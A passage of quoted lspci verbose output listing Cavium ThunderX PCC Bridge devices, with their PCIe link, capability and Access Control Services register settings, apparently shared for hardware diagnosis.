> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:01.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=fb, subordinate=fb, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:02.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=fc, subordinate=fc, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:03.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=fd, subordinate=fd, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:04.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=fe, subordinate=fe, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:05.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=ff, subordinate=ff, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:06.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=07, subordinate=07, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:07.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:08.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=02, subordinate=02, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:09.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=03, subordinate=03, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0002:00:0a.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=04, subordinate=04, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
